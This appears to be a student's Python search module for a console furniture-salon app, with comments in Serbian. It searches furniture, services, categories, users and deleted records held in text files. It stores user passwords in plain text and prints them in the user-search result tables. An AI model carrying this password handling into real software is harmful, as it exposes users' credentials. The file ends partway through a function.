	gornja=unosEntiteta.unosKolicina()

	return donja,gornja

def sortirajPoKolicini(listaTrazenih):
	listaTrazenih.sort(key=lambda x: x["kolicina"])

def pretragaOpsegCene(): #promeni ime funkcije u pretragaNamestajOpsegCene
	listaRecnikaNamestaja=pretragaUcitajNamestaj()
	donja,gornja=pretragaUcitajOpsegCene()

	listaTrazenih=[]
	for recnik in listaRecnikaNamestaja:
		if (recnik["cena"]>=donja and recnik["cena"]<=gornja and recnik["obrisano"]=="false"):
			listaTrazenih.append(recnik)

	sortirajPoCeni(listaTrazenih)
	pretragaIspisNamestaja(listaTrazenih)

def pretragaUcitajOpsegCene():
	print("Unesite donju granicu cene")
	donja=unosEntiteta.unosCena()
	print("Unesite gornju granicu cene")
	gornja=unosEntiteta.unosCena()

	return donja,gornja

#sifra ili ima tacno ta ili si pogresno uneo sifru
def pretragaSifra():
	listaRecnikaNamestaja=pretragaUcitajNamestaj()
	sifra=pretragaUcitajSifru()

	listaTrazenih=[]
	for recnik in listaRecnikaNamestaja:
		if (recnik["sifra"]==sifra and recnik["obrisano"]=="false"):
			listaTrazenih.append(recnik)
			pretragaIspisNamestaja(listaTrazenih) #skratice broj koraka pretrage cim ga nadje (posto su sifre jedinstvene) odmah ce da izadje iz ovoga
			return
	print("Proizvod nepostoji ili je obrisan")
	return

def pretragaUcitajSifru():
	while True:
		try:
			sifra=int(input("unesite sifru proizvoda: "))
			return sifra
		except ValueError:
			print("pogresan format unosa, unesite broj")

def proveriFajl(imeFajla):
	while True:
		try:
			f=open(imeFajla,"r")
			f.close()
			return
		except FileNotFoundError:
			f=open(imeFajla,"w")
			f.close()

def namestajStrToDict(vrednosti):
	recnik={}
	recnik["sifra"]=int(vrednosti[0])
	recnik["naziv"]=vrednosti[1]
	recnik["boja"]=vrednosti[2]
	recnik["kolicina"]=int(vrednosti[3])
	recnik["cena"]=int(vrednosti[4])
	recnik["kategorija"]=vrednosti[5]
	recnik["obrisano"]=vrednosti[6]
	return recnik

def pretragaUcitajNamestaj():
	proveriFajl("namestaj.txt")

	f=open("namestaj.txt","r")
	linije=f.readlines()
	f.close()

	return napraviListuRecNamestaja(linije)

def napraviListuRecNamestaja(linije):
	listaRecnika=[]
	for linija in linije:
		vrednosti=linija.strip().split("|")
		recnik=namestajStrToDict(vrednosti)
		listaRecnika.append(recnik)

	return listaRecnika

def pretragaUcitajTermine():
	termini=""
	while termini=="":
		termini=input("unesite termine pretrage: ")

	listaTermina=termini.lower().split(" ")

	return list(set(listaTermina))

def pretragaNaziv():
	listaRecnikaNamestaja=pretragaUcitajNamestaj()
	listaTermina=pretragaUcitajTermine() #implemtancija kao na google bla bla blu, split, for i in a, if a in s, ceo red pravi recni i stavljaj u listu inace nastavi
	listaTrazenih=pretragaSelekcija(listaRecnikaNamestaja,listaTermina)

	pretragaSortirajPoNazivu(listaTrazenih)
	pretragaIspisNamestaja(listaTrazenih)

	sifraNamestaja=uzmiSifruNamestaja(listaTrazenih)
	pretragaOpcijeNamestaj(sifraNamestaja)

#mogu da saljem i kljuc i u zavisnosti od njega mogu da iskoristim funkcije
def pretragaSelekcija(listaRecnikaNamestaja,listaTermina):
	listaTrazenih=[]
	for recnik in listaRecnikaNamestaja:
		for termin in listaTermina:
			if (termin in recnik["naziv"] and recnik["obrisano"]=="false"):
				if not (recnik in listaTrazenih):
					listaTrazenih.append(recnik)
	return listaTrazenih

	# pretragaSortirajPoNazivu(listaTrazenih)
	# pretragaIspisNamestaja(listaTrazenih)
	# sifraNamestaja=uzmiSifruNamestaja(listaTrazenih)
	# pretragaOpcijeNamestaj(sifraNamestaja)

def pretragaSortirajPoNazivu(listaTrazenih):
	listaTrazenih.sort(key=lambda x: x["naziv"])

def pretragaIspisNamestaja(listaTrazenih):
#posle 1 000 000 000 artikala sifra vise nije tacna tada cemo uraditi update software-a ili jednostavno dodati UI i u njemu implementirati ovo
#cene preko 9 999 999 999
	print("------------------------------------------------------------------------")
	print("|  sifra   |     naziv     |     boja      | kol |   cena   |  kateg   |")
	print("------------------------------------------------------------------------")
	for recnik in listaTrazenih:
		print("|{0:^10}|{1:^15}|{2:^15}|{3:^5}|{4:^10}|{5:^10}|".format(str(recnik["sifra"])[:10],recnik["naziv"][:15],recnik["boja"][:15],str(recnik["kolicina"])[:5],str(recnik["cena"])[:10],recnik["kategorija"][:10]))

	#ima opcija da saljem da je iz pretrage sifara i tu sifru da iskoristi za izmenu/brisanje
	#i druga opcija je ako je len(listaTrazenih) == 1 onda u pretraguOpcije posalji sifru i nju iskoristi za dalje

	#ovo saljes kao arugment u izmeni/brisanju ce pitati ako je taj parametar none = zovi pretargu po sifri inace iskoristi tu sifru sto si dobio
#ovde stajem sutra NASTAVLJAM

	# sifraNamestaja=uzmiSifruNamestaja(listaTrazenih) #prakticno gle da li je pretraga dosla iz pretrage sifara ili ne, odnosno da li pretraga bila jedinstvena ili ne
	# pretragaOpcijeNamestaj(sifraNamestaja)

def uzmiSifruNamestaja(listaTrazenih):
	if len(listaTrazenih) == 1:
		return listaTrazenih[0]["sifra"]
	else:
		return None

def pretragaOpcijeMenuNamestaj():
	print("da li zelite da: ")
	print("0 - Idite nazad")
	print("1 - izmenite proizvod")
	print("2 - obrisete proizvod")
	print("3 - (niste nasli proizvod?) Pretrazi Obrisane")

def pretragaOpcijeNamestaj(sifraNamestaja):
	pretragaOpcijeMenuNamestaj()

	komanda="komanda"

	while not uslovPretragaOpcijeNamestaj(komanda):
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")

	if komanda==0:
		return
	elif komanda==1:
		unosEntiteta.izmenaNamestaja(sifraNamestaja) #ovde cu slati sifru tog proizvoda koji sam pretrazio
	elif komanda==2:
		unosEntiteta.brisanjeNamestaja(sifraNamestaja)#takodje i ovde saljes sifru
	elif komanda==3:
		pretragaObrisanihNamestaja()

def uslovPretragaOpcijeNamestaj(komanda):
    return komanda==0 or komanda==1 or komanda==2 or komanda==3

def pretragaNamestajMenu():
	print("\nNalazite se na mainMenu/pretragaGrananje/pretragaNamestajaGrananje")
	print("Dobro dosli u pretragu podataka, molimo Vas izaberite sta zelite")
	print("0 - Idite nazad")
	print("1 - Pretraga po nazivu namestaja")
	print("2 - Pretraga po opsegu cene")
	print("3 - Pretraga po raspolozivoj kolicini")
	print("4 - Pretraga po sifri namestaja")

def pretragaKomandaUslov(komanda):
	return komanda==0 or komanda==1 or komanda==2 or komanda==3 or komanda==4

def pretragaNamestajaKomanda():
	komanda="komanda"

	while not pretragaKomandaUslov(komanda):
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")
	return komanda

def pretragaNamestajGrananje():
	while True:
		pretragaNamestajMenu()
		komanda=pretragaNamestajaKomanda()
		if komanda==0:
			print("Povratak u prethodni menu")
			break
		elif komanda==1:
			print('Izabrali ste "Pretraga po nazivu namestaja"')
			pretragaNaziv()
		elif komanda==2:
			print('Izabrali ste "Pretraga po opsegu cene"')
			pretragaOpsegCene()
		elif komanda==3:
			print('Izabrali ste "Pretraga po raspolozivoj kolicini"')
			pretragaKolicine()
		elif komanda==4:
			print('Izabrali ste "Pretraga po sifri namestaja"')
			pretragaSifra()

def pretragaMenu():
	print("\nNalazite se na mainMenu/pretragaGrananje")
	print("Dobro dosli u pretragu podataka, molimo Vas izaberite sta zelite")
	print("0 - Idite nazad")
	print("1 - Pretraga namestaja")
	print("2 - Pretraga usluga salona")
	print("3 - Pretraga racuna")
	print("4 - Pretraga kategorija(po naziv)")
	print("5 - Pretraga korisnika")
	print("6 - Pretraga obrisanih entiteta")

def pretragaUslov(komanda):
	return komanda==0 or komanda==1 or komanda==2 or komanda==3 or komanda==4 or komanda==5 or komanda==6

def pretragaKomanda():
	komanda="komanda"

	while not pretragaUslov(komanda):
			try:
				komanda=int(input("Unesite komandu: "))
			except ValueError:
				print("Pogresan format komande, unesite broj sa menija")
	return komanda

def pretragaGrananje():
	while True:
		pretragaMenu()
		komanda=pretragaKomanda()
		if komanda==0:
			print("Povratak u prethodni menu")
			return
		elif komanda==1:
			print('Izabrali ste "Pretraga namestaja"')
			pretragaNamestajGrananje()
		elif komanda==2:
			print('Izabrali ste "Pretraga usluga salona"')
			pretragaUslugaGrananje()
		elif komanda==3:
			print('Izabrali ste "Pretraga racuna"')
			pretragaRacunaGrananje()
		elif komanda==4:
			print('Izabrali ste "Pretraga kategorija"')
			pretragaKategorija()
		elif komanda==5:
			print('Izabrali ste "Pretraga korisnika"')
			pretragaKorisnikaGrananje()
		elif komanda==6:
			print('Izabrali ste "Pretraga obrisanih entiteta"')
			pretragaObrisanihGrananje()

	############ gore je pretraga namestaja

	################   dole ce biti pretraga usluga salona

def pretragaUslugaGrananje():
	pretragaUslugaGrananjeMenu()
	komanda=pretragaUslugaKomanda()
	if komanda==0:
		print("Povratak u prethodni menu")
		return
	elif komanda==1:
		print('Izabrali ste "Pretraga usluga po nazivu"')
		pretragaUslugaNaziv()
	elif komanda==2:
		print('Izabrali ste "Pretraga usluga po opsegu cene"')
		pretragaUslugaOpsegCene()

def pretragaUslugaGrananjeMenu():
	print("\nNalazite se na mainMenu/pretragaGrananje/pretragaUslugaGrananje")
	print("Dobro dosli u pretragu usluga, molimo Vas izaberite sta zelite")
	print("0 - Idite nazad")
	print("1 - Pretraga usluga po nazivu")
	print("2 - Pretraga usluga opsegu cene")

def pretragaUslugaKomanda():
	komanda="komanda"

	while not pretragaUslugaUslov(komanda):
			try:
				komanda=int(input("Unesite komandu: "))
			except ValueError:
				print("Pogresan format komande, unesite broj sa menija")
	return komanda

def pretragaUslugaUslov(komanda):
	return komanda==0 or komanda==1 or komanda==2

def pretragaUslugaNaziv():
	proveriFajl("usluge.txt")

	listaTermina=pretragaUcitajTermine()
	listaRecnika=napraviListuRecUsluga()

	listaTrazenih=[]
	for recnik in listaRecnika:
		for termin in listaTermina:
			if (termin in recnik["naziv"] and recnik["obrisano"]=="false"):
				if not(recnik in listaTrazenih):
					listaTrazenih.append(recnik)

	pretragaSortirajPoNazivu(listaTrazenih)
	pretragaIspisUsluga(listaTrazenih)
	nazivUsluge=uzmiNazivUsluge(listaTrazenih) #prakticno gle da li je pretraga dosla iz pretrage sifara ili ne
	pretragaOpcijeUsluge(nazivUsluge)

def napraviListuRecUsluga():
	f=open("usluge.txt")
	linije=f.readlines()
	f.close()

	listaRecnika=[]
	for linija in linije:
		vrednosti=linija.strip("\n").split("|")
		recnik=napraviRecUsluga(vrednosti)
		listaRecnika.append(recnik)

	return listaRecnika

def napraviRecUsluga(vrednosti):
	recnik={}
	recnik["naziv"]=vrednosti[0]
	recnik["opis"]=vrednosti[1]
	recnik["cena"]=int(vrednosti[2])
	recnik["obrisano"]=vrednosti[3]

	return recnik

def pretragaIspisUsluga(listaTrazenih):
	print("--------------------------------------------")
	print("|     naziv     |     opis      |   cena   |")
	print("--------------------------------------------")
	for recnik in listaTrazenih:
		print("|{0:^15}|{1:^15}|{2:^10}|".format(recnik["naziv"][:15],recnik["opis"][:15],str(recnik["cena"])[:10]))

	# nazivUsluge=uzmiNazivUsluge(listaTrazenih) #prakticno gle da li je pretraga dosla iz pretrage sifara ili ne
	# pretragaOpcijeUsluge(nazivUsluge)

def uzmiNazivUsluge(listaTrazenih):
	if len(listaTrazenih) == 1:
		return listaTrazenih[0]["naziv"]
	else:
		return None

def pretragaOpcijeUsluge(nazivUsluge):
	pretragaOpcijeMenuNamestaj()

	komanda="komanda"

	while not uslovPretragaOpcijeNamestaj(komanda):#koristim funkciju ovde od gore
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")

	if komanda==0:
		return
	elif komanda==1:
		unosEntiteta.izmenaUsluga(nazivUsluge) #ovde cu slati naziv usluge
	elif komanda==2:
		unosEntiteta.brisanjeUsluga(nazivUsluge)#takodje i ovde saljes naziv, kada kliknem izmenu/brisanje proizvoda na UBIentitete ce traziti naziv usluge
		#kao parametar, ako je slucajno dobio parametar vec radi posao
	elif komanda==3:
		pretragaObrisanihUsluga()

def pretragaUslugaOpsegCene():
	listaRecnikaUsluga=napraviListuRecUsluga()
	donja,gornja=pretragaUcitajOpsegCene()

	listaTrazenih=[]
	for recnik in listaRecnikaUsluga:
		if (recnik["cena"]>=donja and recnik["cena"]<=gornja and recnik["obrisano"]=="false"):
			listaTrazenih.append(recnik)

	sortirajPoCeni(listaTrazenih)
	pretragaIspisUsluga(listaTrazenih)

def sortirajPoCeni(listaTrazenih):
	listaTrazenih.sort(key=lambda x: x["cena"])

##### gore je pretraga usluga po nazivu i ceni

#pretraga kategorija po nazivu samo implemetujem i to je to, uradio bih kao naziv za namestaj
def pretragaKategorija():
	proveriFajl("kategorije.txt")

	listaTermina=pretragaUcitajTermine()
	listaRecnika=napraviListuRecKategorija()

	listaTrazenih=[]
	for recnik in listaRecnika:
		for termin in listaTermina:
			if (termin in recnik["naziv"] and recnik["obrisano"]=="false"):
				if not(recnik in listaTrazenih):
					listaTrazenih.append(recnik)

	pretragaSortirajPoNazivu(listaTrazenih)
	pretragaIspisKategorija(listaTrazenih)

def napraviListuRecKategorija():
	f=open("kategorije.txt")
	linije=f.readlines()
	f.close()

	listaRecnika=[]
	for linija in linije:
		vrednosti=linija.strip("\n").split("|")
		recnik=napraviRecKategorija(vrednosti)
		listaRecnika.append(recnik)

	return listaRecnika

def napraviRecKategorija(vrednosti):
	recnik={}
	recnik["naziv"]=vrednosti[0]
	recnik["opis"]=vrednosti[1]
	recnik["obrisano"]=vrednosti[2]

	return recnik

def pretragaIspisKategorija(listaTrazenih):
	print("---------------------------------")
	print("|     naziv     |     opis      |")
	print("---------------------------------")
	for recnik in listaTrazenih:
		print("|{0:^15}|{1:^15}|".format(recnik["naziv"][:15],recnik["opis"][:15]))

	nazivKategorije=uzmiNazivUsluge(listaTrazenih) #koristim funkciju da uzme naziv i prosledi ga izmeni
	pretragaOpcijeKategorije(nazivKategorije)

def pretragaOpcijeKategorije(nazivKategorije):
	pretragaOpcijeMenuNamestaj() #koristim funkciju koja je vec napisana

	komanda="komanda"

	while not uslovPretragaOpcijeNamestaj(komanda):#koristim funkciju ovde od gore
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")

	if komanda==0:
		return
	elif komanda==1:
		unosEntiteta.izmenaKategorija(nazivKategorije) #ovde cu slati naziv usluge
	elif komanda==2:
		unosEntiteta.brisanjeKategorija(nazivKategorije)#takodje i ovde saljes naziv, kada kliknem izmenu/brisanje proizvoda na UBIentitete ce traziti naziv usluge
		#kao parametar, ako je slucajno dobio parametar vec radi posao
	elif komanda==3:
		pretragaObrisanihKategorija()

# pretraga korisnka
def pretragaKorisnikaGrananje():
	while True:
		pretragaKorisnikaMenu()
		komanda=pretragaKomanda() #ovde budi paznjiv jer koristis funkciju koja za uslov ima 5 a tebi treba 4 pa gledaj da tu ne bude problem
		if komanda==0:
			print("Povratak u prethodni menu")
			break
		elif komanda==1:
			print('Izabrali ste "Pretraga po Username-u korisnika"')
			pretragaUsername()
		elif komanda==2:
			print('Izabrali ste "Pretraga Imenu korisnika"')
			pretragaIme()
		elif komanda==3:
			print('Izabrali ste "Pretraga Prezimenu korisnika"')
			pretragaPrezime()
		elif komanda==4:
			print('Izabrali ste "Pretraga po ulozi korisnika"')
			pretragaUloga()

def pretragaKorisnikaMenu():
	print("\nNalazite se na mainMenu/pretragaGrananje/pretragaKorisnikaGrananje")
	print("Dobro dosli u pretragu korisnika, molimo Vas izaberite sta zelite")
	print("0 - Idite nazad")
	print("1 - Pretraga po Username-u korisnika")
	print("2 - Pretraga Imenu korisnika")
	print("3 - Pretraga Prezimenu korisnika")
	print("4 - Pretraga po ulozi korisnika")

def pretragaUsername():
	listaRecnikaKorisnika=pretragaUcitajKorisnike()
	username=unosEntiteta.installUsername()

	listaTrazenih=[]
	for recnik in listaRecnikaKorisnika:
		if (recnik["username"]==username and recnik["obrisano"]=="false"):
			listaTrazenih.append(recnik)

	pretragaIspisKorisnika(listaTrazenih)

def pretragaUcitajKorisnike():
	proveriFajl("korisnici.txt")
	f=open("korisnici.txt","r")
	linije=f.readlines()
	f.close()
	listaRecnika=[]
	for linija in linije:
		vrednosti=linija.strip("\n").split("|")
		recnik=napraviRecKorisnika(vrednosti)
		listaRecnika.append(recnik)

	return listaRecnika

def napraviRecKorisnika(vrednosti):
	recnik={}
	recnik["username"]=vrednosti[0]
	recnik["password"]=vrednosti[1]
	recnik["ime"]=vrednosti[2]
	recnik["prezime"]=vrednosti[3]
	recnik["uloga"]=vrednosti[4]
	recnik["obrisano"]=vrednosti[5]

	return recnik

def pretragaIspisKorisnika(listaTrazenih):
	print("--------------------------------------------------------------------------")
	print("|   username    |    password   |     ime      |    prezime    |  uloga  |")
	print("--------------------------------------------------------------------------")
	for recnik in listaTrazenih:
		print("|{0:^15}|{1:^15}|{2:^14}|{3:^15}|{4:^9}|".format(recnik["username"][:15],recnik["password"][:15],recnik["ime"][:14],recnik["prezime"][:15],recnik["uloga"][:9]))

	username=uzmiUsername(listaTrazenih)
	pretragaOpcijeKorisnika(username)

def uzmiUsername(listaTrazenih):
	if len(listaTrazenih) == 1:
		return listaTrazenih[0]["username"]
	else:
		return None

def pretragaOpcijeKorisnika(username):
	pretragaOpcijeMenuKorisnika()  #promeni ovo napravi novi meni za korisnike i gore za usluge, od sada svaka stvar ima svoj meni

	komanda="komanda"

	while not uslovPretragaOpcijeNamestaj(komanda):
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")

	if komanda==0:
		return
	elif komanda==1:
		unosEntiteta.izmenaKorisnika(username)
	elif komanda==2:
		unosEntiteta.brisanjeKorisnika(username)
	elif komanda==3:
		pretragaObrisanihKorisnika()

def pretragaOpcijeMenuKorisnika():
	print("Da li zelite da: ")
	print("0 - Idite nazad")
	print("1 - Izmenite korisnika")
	print("2 - Obrisete korisnika")
	print("3 - (niste nasli korisnika?) Pretrazi brisane korisnike")

def pretragaIme():
	proveriFajl("korisnici.txt")

	listaTermina=pretragaUcitajTermine()
	listaRecnika=pretragaUcitajKorisnike()

	listaTrazenih=[]
	for recnik in listaRecnika:
		for termin in listaTermina:
			if (termin in recnik["ime"] and recnik["obrisano"]=="false"):
				if not(recnik in listaTrazenih):
					listaTrazenih.append(recnik)

	pretragaSortirajPoImenu(listaTrazenih)
	pretragaIspisKorisnika(listaTrazenih)

def pretragaSortirajPoImenu(listaTrazenih):
	listaTrazenih.sort(key=lambda x: x["ime"])

def pretragaPrezime():
	proveriFajl("korisnici.txt")

	listaTermina=pretragaUcitajTermine()
	listaRecnika=pretragaUcitajKorisnike()

	listaTrazenih=[]
	for recnik in listaRecnika:
		for termin in listaTermina:
			if (termin in recnik["prezime"] and recnik["obrisano"]=="false"):
				if not(recnik in listaTrazenih):
					listaTrazenih.append(recnik)

	pretragaSortirajPoPrezimenu(listaTrazenih)
	pretragaIspisKorisnika(listaTrazenih)

def pretragaSortirajPoPrezimenu(listaTrazenih):
	listaTrazenih.sort(key=lambda x: x["prezime"])

def pretragaUloga():
	listaRecnikaKorisnika=pretragaUcitajKorisnike()
	uloga=unosEntiteta.unosUloga()

	listaTrazenih=[]
	for recnik in listaRecnikaKorisnika:
		if recnik["uloga"]==uloga and recnik["obrisano"]=="false":
			listaTrazenih.append(recnik)

	pretragaIspisKorisnika(listaTrazenih)

#pretrage racuna
#pretraga obrisanih racuna ako budem imao vremena

def pretragaObrisanihGrananje():
	while True:
		pretragaObrisanihGrananjeMenu()
		komanda=pretragaObrisanihNamestajaKomanda()
		if komanda==0:
			print("Povratak u prethodni menu")
			break
		elif komanda==1:
			print('Izabrali ste "Pretraga obrisanih namestaja"')
			pretragaObrisanihNamestaja()
		elif komanda==2:
			print('Izabrali ste "Pretraga obrisanih usluga"')
			pretragaObrisanihUsluga()
		elif komanda==3:
			print('Izabrali ste "Pretraga obrisanih korisnika"')
			pretragaObrisanihKorisnika()
		elif komanda==4:
			print('Izabrali ste "Pretraga obrisanih kategorija"')
			pretragaObrisanihKategorija()

def pretragaObrisanihGrananjeMenu():
	print("\nNalazite se na mainMenu/pretragaGrananje/pretragaObrisanihGrananje")
	print("Dobro dosli u pretragu obrisanih podataka, molimo Vas izaberite sta zelite")
	print("0 - Idite nazad")
	print("1 - Pretraga obrisanih namestaja(po nazivu)")
	print("2 - Pretraga obrisanih usluga(po nazivu)")
	print("3 - Pretraga obrisanih korisnika(prezimenu i ulozi)")
	print("4 - Pretraga obrisanih kategorija(po nazivu)")

def pretragaObrisanihNamestajaKomanda():
	komanda="komanda"

	while not pretragaKomandaUslov(komanda): #gore imas funkckiju gleda da li je tacno 0,1,2,3,4
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")
	return komanda

#pretraga obrisanih samo obrisane da mi nadje i sifru da bih vratio u zivot
#namestaj po nazivu i kategoriji

def pretragaObrisanihNamestaja():
	listaRecnikaNamestaja=pretragaUcitajNamestaj()
	listaTermina=pretragaUcitajTermine()
	listaTrazenih=[]
	for recnik in listaRecnikaNamestaja:
		for termin in listaTermina:
			if (termin in recnik["naziv"] and recnik["obrisano"]=="true"):
				if not(recnik in listaTrazenih):
					listaTrazenih.append(recnik)

	pretragaSortirajPoNazivu(listaTrazenih)
	pretragaIspisObrisanihNamestaja(listaTrazenih)

def pretragaIspisObrisanihNamestaja(listaTrazenih):
	print("------------------------------------------------------------------------")
	print("|  sifra   |     naziv     |     boja      | kol |   cena   |  kateg   |")
	print("------------------------------------------------------------------------")
	for recnik in listaTrazenih:
		print("|{0:^10}|{1:^15}|{2:^15}|{3:^5}|{4:^10}|{5:^10}|".format(str(recnik["sifra"])[:10],recnik["naziv"][:15],recnik["boja"][:15],str(recnik["kolicina"])[:5],str(recnik["cena"])[:10],recnik["kategorija"][:10]))

	sifraNamestaja=uzmiSifruNamestaja(listaTrazenih) #prakticno gle da li je pretraga dosla iz pretrage sifara ili ne
	pretragaOpcijeObrisanihNamestaja(sifraNamestaja)

def pretragaOpcijeObrisanihNamestaja(sifraNamestaja):
	pretragaOpcijeMenuObrisanihNamestaja()

	komanda="komanda"

	while not uslovPretragaOpcijeObrisanihNamestaja(komanda):
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")

	if komanda==0:
		return
	elif komanda==1:
		unosEntiteta.restoreNamestaja(sifraNamestaja) #ovde cu slati sifru tog proizvoda koji sam pretrazio

def pretragaOpcijeMenuObrisanihNamestaja():
	print("da li zelite da: ")
	print("0 - Idite nazad")
	print("1 - Vratite proizvod (uradite restore)")

def uslovPretragaOpcijeObrisanihNamestaja(komanda):
    return komanda==0 or komanda==1

#usluge po nazivu

def pretragaObrisanihUsluga():
	proveriFajl("usluge.txt")

	listaTermina=pretragaUcitajTermine()
	listaRecnika=napraviListuRecUsluga()

	listaTrazenih=[]
	for recnik in listaRecnika:
		for termin in listaTermina:
			if (termin in recnik["naziv"] and recnik["obrisano"]=="true"):
				if not(recnik in listaTrazenih):
					listaTrazenih.append(recnik)

	pretragaSortirajPoNazivu(listaTrazenih)
	pretragaIspisObrisanihUsluga(listaTrazenih)

def pretragaIspisObrisanihUsluga(listaTrazenih):
	print("--------------------------------------------")
	print("|     naziv     |     opis      |   cena   |")
	print("--------------------------------------------")
	for recnik in listaTrazenih:
		print("|{0:^15}|{1:^15}|{2:^10}|".format(recnik["naziv"][:15],recnik["opis"][:15],str(recnik["cena"])[:10]))

	nazivUsluge=uzmiNazivUsluge(listaTrazenih) #prakticno gle da li je pretraga dosla iz pretrage sifara ili ne
	pretragaOpcijeObrisanihUsluga(nazivUsluge)

def uzmiNazivUsluge(listaTrazenih):
	if len(listaTrazenih) == 1:
		return listaTrazenih[0]["naziv"]
	else:
		return None

def pretragaOpcijeObrisanihUsluga(nazivUsluge):
	pretragaOpcijeMenuObrisanihUsluga()

	komanda="komanda"

	while not uslovPretragaOpcijeObrisanihNamestaja(komanda):#koristim funkciju ovde od gore mora biti 0,1
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")

	if komanda==0:
		return
	elif komanda==1:
		unosEntiteta.restoreUsluga(nazivUsluge) #ovde cu slati naziv usluge

def pretragaOpcijeMenuObrisanihUsluga():
	print("da li zelite da: ")
	print("0 - Idite nazad")
	print("1 - Vratite uslugu (uradite restore)")

#korisnici po Prezimenu i ulozi zajedno kao uslov i da mi izbaci

#kada u pretrazi zoves (nije prikazan, pretrazi obrisane) tu sredi pozive funkcija

def pretragaObrisanihKorisnika():
	proveriFajl("korisnici.txt")

	listaTermina=pretragaUcitajTermine() #prezime
	uloga=unosEntiteta.unosUloga()
	listaRecnika=pretragaUcitajKorisnike()

	listaTrazenih=[]
	for recnik in listaRecnika:
		for termin in listaTermina:
			if (termin in recnik["prezime"] and recnik["uloga"]==uloga and recnik["obrisano"]=="true"):
				if not(recnik in listaTrazenih):
					listaTrazenih.append(recnik)

	pretragaSortirajPoPrezimenu(listaTrazenih)
	pretragaIspisObrisanihKorisnika(listaTrazenih)

def pretragaIspisObrisanihKorisnika(listaTrazenih):
	print("--------------------------------------------------------------------------")
	print("|   username    |    password   |     ime      |    prezime    |  uloga  |")
	print("--------------------------------------------------------------------------")
	for recnik in listaTrazenih:
		print("|{0:^15}|{1:^15}|{2:^14}|{3:^15}|{4:^9}|".format(recnik["username"][:15],recnik["password"][:15],recnik["ime"][:14],recnik["prezime"][:15],recnik["uloga"][:9]))

	username=uzmiUsername(listaTrazenih)
	pretragaOpcijeObrisanihKorisnika(username)

def pretragaOpcijeObrisanihKorisnika(username):
	pretragaOpcijeMenuObrisanihKorisnika()  #promeni ovo napravi novi meni za korisnike i gore za usluge, od sada svaka stvar ima svoj meni

	komanda="komanda"

	while not uslovPretragaOpcijeObrisanihNamestaja(komanda):
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")

	if komanda==0:
		return
	elif komanda==1:
		unosEntiteta.restoreKorisnika(username)

def pretragaOpcijeMenuObrisanihKorisnika():
	print("Da li zelite da: ")
	print("0 - Idite nazad")
	print("1 - Vratite korisnika (uradite restore)")

#kategorije po nazivu

def pretragaObrisanihKategorija():
	proveriFajl("kategorije.txt")

	listaTermina=pretragaUcitajTermine()
	listaRecnika=napraviListuRecKategorija()

	listaTrazenih=[]
	for recnik in listaRecnika:
		for termin in listaTermina:
			if (termin in recnik["naziv"] and recnik["obrisano"]=="true"):
				if not(recnik in listaTrazenih):
					listaTrazenih.append(recnik)

	pretragaSortirajPoNazivu(listaTrazenih)
	pretragaIspisObrisanihKategorija(listaTrazenih)

def pretragaIspisObrisanihKategorija(listaTrazenih):
	print("---------------------------------")
	print("|     naziv     |     opis      |")
	print("---------------------------------")
	for recnik in listaTrazenih:
		print("|{0:^15}|{1:^15}|".format(recnik["naziv"][:15],recnik["opis"][:15]))

	nazivKategorije=uzmiNazivUsluge(listaTrazenih) #koristim funkciju da uzme naziv i prosledi ga izmeni
	pretragaOpcijeObrisanihKategorija(nazivKategorije)

def pretragaOpcijeObrisanihKategorija(nazivKategorije):
	pretragaOpcijeMenuObrisanihKategorija() #koristim funkciju koja je vec napisana

	komanda="komanda"

	while not uslovPretragaOpcijeObrisanihNamestaja(komanda):#koristim funkciju ovde od gore
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")

	if komanda==0:
		return
	elif komanda==1:
		unosEntiteta.restoreKategorija(nazivKategorije)

def pretragaOpcijeMenuObrisanihKategorija():
	print("Da li zelite da: ")
	print("0 - Idite nazad")
	print("1 - Vratite kategoriju (uradite restore)")

#mozda da impelemtujes da kad obrises kategoriju obrise sve namestaje sa tom kategorijom al to je samo ideja

##############pretraga prodavac

def p_pretragaGrananje():
	while True:
		p_pretragaGrananjeMenu()
		komanda=p_pretragaKomanda()
		if komanda==0:
			print("Povratak u prethodni menu")
			return
		elif komanda==1:
			print('Izabrali ste "Pretraga namestaja po nazivu"')
			p_pretragaNamestaj()
		elif komanda==2:
			print('Izabrali ste "Pretraga namestaja po kategorijama"')
			p_pretragaNamestajKategorija()
		elif komanda==3:
			print('Izabrali ste "Pretraga usluga salona"')
			p_pretragaUsluga()

def p_pretragaGrananjeMenu():
	print("\nNalazite se na mainMenu/p_pretragaGrananje")
	print("Dobro dosli u pretragu podataka, molimo Vas izaberite sta zelite")
	print("0 - Idite nazad")
	print("1 - Pretraga namestaja po nazivu")
	print("2 - Pretraga namestaja po kategorijama")
	print("3 - Pretraga usluga salona")

def p_pretragaKomanda():
	komanda="komanda"

	while not p_pretragaKomandaUslov(komanda):
		try:
			komanda=int(input("Unesite komandu: "))
		except ValueError:
			print("Pogresan format komande, unesite broj sa menija")
	return komanda

def p_pretragaKomandaUslov(komanda):
	return komanda==0 or komanda==1 or komanda==2 or komanda==3

def p_pretragaNamestaj(): #po nazivu
	listaRecnikaNamestaja=pretragaUcitajNamestaj()
	listaTermina=pretragaUcitajTermine()
	listaTrazenih=pretragaSelekcija(listaRecnikaNamestaja,listaTermina)
	pretragaSortirajPoNazivu(listaTrazenih)
	pretragaIspisNamestaja(listaTrazenih)
	return listaTrazenih

def p_pretragaSifra(listaTrazenih):
	print("zavrsena je pretraga po nazivu, molimo unesite sifru proizvoda koji zelite da dodate u korpu")
	sifra=pretragaUcitajSifru()

	for recnik in listaTrazenih:
		if recnik["sifra"]==sifra:
			return recnik,sifra
	print("Pogresna sifra proizvoda")
	return None, None

def p_pretragaNamestajKategorija():
